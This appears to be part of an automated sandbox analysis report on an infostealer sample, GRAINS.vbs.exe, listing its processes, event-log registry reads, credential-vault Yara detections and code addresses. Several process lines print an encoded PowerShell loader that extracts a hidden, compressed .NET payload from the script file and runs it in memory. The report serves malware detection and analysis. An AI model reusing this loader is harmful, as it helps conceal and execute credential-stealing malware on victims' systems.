Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.GRAINS.vbs.exe.6350180.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.Xml.vbs.exe.97dddc8.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.Xml.vbs.exe.97dddc8.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.GRAINS.vbs.exe.6350180.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A457E30 NtResumeThread,	4_2_0A457E30
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4565A8 NtProtectVirtualMemory,	4_2_0A4565A8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A457E28 NtResumeThread,	4_2_0A457E28
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4565A0 NtProtectVirtualMemory,	4_2_0A4565A0

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F4ABA0	4_2_04F4ABA0
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F4B7E5	4_2_04F4B7E5
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F4B1E8	4_2_04F4B1E8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F4ABFC	4_2_04F4ABFC
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F4B1D7	4_2_04F4B1D7
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F41C35	4_2_04F41C35
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F4BA6E	4_2_04F4BA6E
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B0040	4_2_0A3B0040
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B19A3	4_2_0A3B19A3
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B0017	4_2_0A3B0017
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B66F8	4_2_0A3B66F8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B66E8	4_2_0A3B66E8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B5428	4_2_0A3B5428
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B5419	4_2_0A3B5419
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3BBDA0	4_2_0A3BBDA0
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B3DA0	4_2_0A3B3DA0
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3BBD9B	4_2_0A3BBD9B
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A42CBF6	4_2_0A42CBF6
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A42D955	4_2_0A42D955
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451334	4_2_0A451334
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A452017	4_2_0A452017
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A45114B	4_2_0A45114B
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A452F70	4_2_0A452F70
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4527BC	4_2_0A4527BC
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A452445	4_2_0A452445
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451CA2	4_2_0A451CA2
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451A2D	4_2_0A451A2D
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451284	4_2_0A451284
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451BEA	4_2_0A451BEA
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A452165	4_2_0A452165
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4511C9	4_2_0A4511C9
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A45168C	4_2_0A45168C
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451740	4_2_0A451740
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451F62	4_2_0A451F62
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A45270E	4_2_0A45270E
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A451D5E	4_2_0A451D5E
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A45152A	4_2_0A45152A
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4515DF	4_2_0A4515DF
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4525DB	4_2_0A4525DB
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A48C680	4_2_0A48C680
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A480040	4_2_0A480040
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A480006	4_2_0A480006
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A48D888	4_2_0A48D888
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A48C9A7	4_2_0A48C9A7
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A534710	4_2_0A534710
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A534720	4_2_0A534720
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A580040	4_2_0A580040
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A58001E	4_2_0A58001E
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A7FED90	4_2_0A7FED90
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A7E0040	4_2_0A7E0040
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A7E003B	4_2_0A7E003B
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A7FE140	4_2_0A7FE140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02A34AC0	6_2_02A34AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02A3CE90	6_2_02A3CE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02A33EA8	6_2_02A33EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02A341F0	6_2_02A341F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02A3F6E0	6_2_02A3F6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064CB4A0	6_2_064CB4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064C32C8	6_2_064C32C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064C0040	6_2_064C0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064C88A8	6_2_064C88A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064CE960	6_2_064CE960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064C5998	6_2_064C5998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064C9010	6_2_064C9010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064CADC0	6_2_064CADC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06AA33D0	6_2_06AA33D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_064C0006	6_2_064C0006
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA19A3	12_2_09AA19A3
